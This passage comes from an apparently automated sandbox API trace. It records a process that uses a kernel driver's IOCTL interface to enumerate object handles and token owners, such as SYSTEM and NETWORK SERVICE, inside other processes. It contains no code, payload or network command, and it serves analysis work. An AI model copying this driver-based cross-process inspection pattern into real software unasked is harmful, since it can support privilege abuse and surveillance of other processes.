lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0075.119] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.119] PsAcquireProcessExitSynchronization () returned 0x0 [0075.119] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0) [0075.119] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003473110, HandleInformation=0x0) returned 0x0 [0075.119] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.119] PsReleaseProcessExitSynchronization () returned 0x2 [0075.119] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0075.119] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003493044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003493044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.119] ObfDereferenceObject (Object=0xfffffa8003473110) returned 0x1 [0075.119] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.120] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0075.120] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.120] PsAcquireProcessExitSynchronization () returned 0x0 [0075.120] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880054f85d0) [0075.120] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0001f58e0, HandleInformation=0x0) returned 0x0 [0075.120] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.120] PsReleaseProcessExitSynchronization () returned 0x2 [0075.120] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0075.120] ObQueryNameString (in: Object=0xfffff8a0001f58e0, ObjectNameInfo=0xfffffa8001f90044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8001f90044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.120] ObfDereferenceObject (Object=0xfffff8a0001f58e0) returned 0x1 [0075.120] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.120] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.120] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0075.120] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.120] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80022bd7b0, HandleInformation=0x0) returned 0x0 [0075.120] ObOpenObjectByPointer (in: Object=0xfffffa80022bd7b0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.120] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x3b [0075.120] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.120] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.120] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.120] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.120] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.122] CloseHandle (hObject=0xc8) returned 1 [0075.122] CloseHandle (hObject=0xc0) returned 1 [0075.122] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0075.122] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.122] PsAcquireProcessExitSynchronization () returned 0x0 [0075.122] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0) [0075.122] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021662c0, HandleInformation=0x0) returned 0x0 [0075.122] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.122] PsReleaseProcessExitSynchronization () returned 0x2 [0075.122] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0075.122] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80038e4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038e4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.122] ObfDereferenceObject (Object=0xfffffa80021662c0) returned 0x1 [0075.122] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.122] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.122] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.122] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0075.122] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.122] PsAcquireProcessExitSynchronization () returned 0x0 [0075.122] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0) [0075.122] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022c2840, HandleInformation=0x0) returned 0x0 [0075.122] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.122] PsReleaseProcessExitSynchronization () returned 0x2 [0075.123] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0075.123] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80038f2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.123] ObfDereferenceObject (Object=0xfffffa80022c2840) returned 0x1 [0075.123] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.123] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.123] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0075.123] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.123] PsAcquireProcessExitSynchronization () returned 0x0 [0075.123] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0) [0075.123] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0075.123] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.123] PsReleaseProcessExitSynchronization () returned 0x2 [0075.123] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0075.123] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa80038f3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.123] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0075.123] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.123] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.123] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.123] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.123] PsAcquireProcessExitSynchronization () returned 0x0 [0075.123] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0) [0075.123] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.123] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.123] PsReleaseProcessExitSynchronization () returned 0x2 [0075.123] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0075.123] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.123] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.123] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.123] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.123] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.123] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.124] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.124] PsAcquireProcessExitSynchronization () returned 0x0 [0075.124] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0) [0075.124] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.124] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.124] PsReleaseProcessExitSynchronization () returned 0x2 [0075.124] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0075.124] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.124] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.124] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.124] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.124] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0075.124] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.124] PsAcquireProcessExitSynchronization () returned 0x0 [0075.124] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0) [0075.124] ObReferenceObjectByHandle (in: Handle=0x1b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022d2a60, HandleInformation=0x0) returned 0x0 [0075.124] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.124] PsReleaseProcessExitSynchronization () returned 0x2 [0075.124] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0075.124] ObQueryNameString (in: Object=0xfffffa80022d2a60, ObjectNameInfo=0xfffffa8003900044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003900044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.124] ObfDereferenceObject (Object=0xfffffa80022d2a60) returned 0x1 [0075.124] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.124] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.124] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.124] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0075.124] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.124] PsAcquireProcessExitSynchronization () returned 0x0 [0075.124] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880054f85d0) [0075.124] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80023145e0, HandleInformation=0x0) returned 0x0 [0075.124] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.124] PsReleaseProcessExitSynchronization () returned 0x2 [0075.124] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x39 [0075.124] ObQueryNameString (in: Object=0xfffffa80023145e0, ObjectNameInfo=0xfffffa8003901044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003901044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.125] ObfDereferenceObject (Object=0xfffffa80023145e0) returned 0x2 [0075.125] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.125] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.125] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbec) returned 0xc0 [0075.125] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.125] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80023109d0, HandleInformation=0x0) returned 0x0 [0075.125] ObOpenObjectByPointer (in: Object=0xfffffa80023109d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.125] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x47 [0075.125] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800241a440 | out: TokenHandle=0xfffffa800241a440*=0xc8) returned 0x0 [0075.125] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.125] IofCompleteRequest (Irp=0xfffffa8003100690, PriorityBoost=0) [0075.125] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.125] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x14), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="NETWORK SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.507] CloseHandle (hObject=0xc8) returned 1 [0075.507] CloseHandle (hObject=0xc0) returned 1 [0075.507] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0075.507] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.507] PsAcquireProcessExitSynchronization () returned 0x0 [0075.507] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0) [0075.507] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002359770, HandleInformation=0x0) returned 0x0 [0075.507] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.507] PsReleaseProcessExitSynchronization () returned 0x2 [0075.507] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0075.507] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800398a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800398a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.507] ObfDereferenceObject (Object=0xfffffa8002359770) returned 0x1 [0075.507] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.507] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.507] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.507] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0075.507] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.507] PsAcquireProcessExitSynchronization () returned 0x0 [0075.507] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0) [0075.507] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80023184d0, HandleInformation=0x0) returned 0x0 [0075.507] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.507] PsReleaseProcessExitSynchronization () returned 0x2 [0075.507] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0075.507] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.508] ObfDereferenceObject (Object=0xfffffa80023184d0) returned 0x1 [0075.508] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.508] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.508] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0075.508] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.508] PsAcquireProcessExitSynchronization () returned 0x0 [0075.508] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0) [0075.508] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0016c4d40, HandleInformation=0x0) returned 0x0 [0075.508] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.508] PsReleaseProcessExitSynchronization () returned 0x2 [0075.508] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0075.508] ObQueryNameString (in: Object=0xfffff8a0016c4d40, ObjectNameInfo=0xfffffa80037b5684, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037b5684, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.508] ObfDereferenceObject (Object=0xfffff8a0016c4d40) returned 0x4 [0075.508] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.508] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.508] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0075.508] PsLookupProcessByProcessId (in: ProcessId=0xbec, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.508] PsAcquireProcessExitSynchronization () returned 0x0 [0075.508] KeStackAttachProcess (in: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80023109d0, ApcState=0xfffff880054f85d0) [0075.508] ObReferenceObjectByHandle (in: Handle=0x120, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0075.508] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.508] PsReleaseProcessExitSynchronization () returned 0x2 [0075.508] ObfDereferenceObject (Object=0xfffffa80023109d0) returned 0x45 [0075.508] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003a0b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003a0b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.508] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0075.508] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.508] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.508] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.508] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 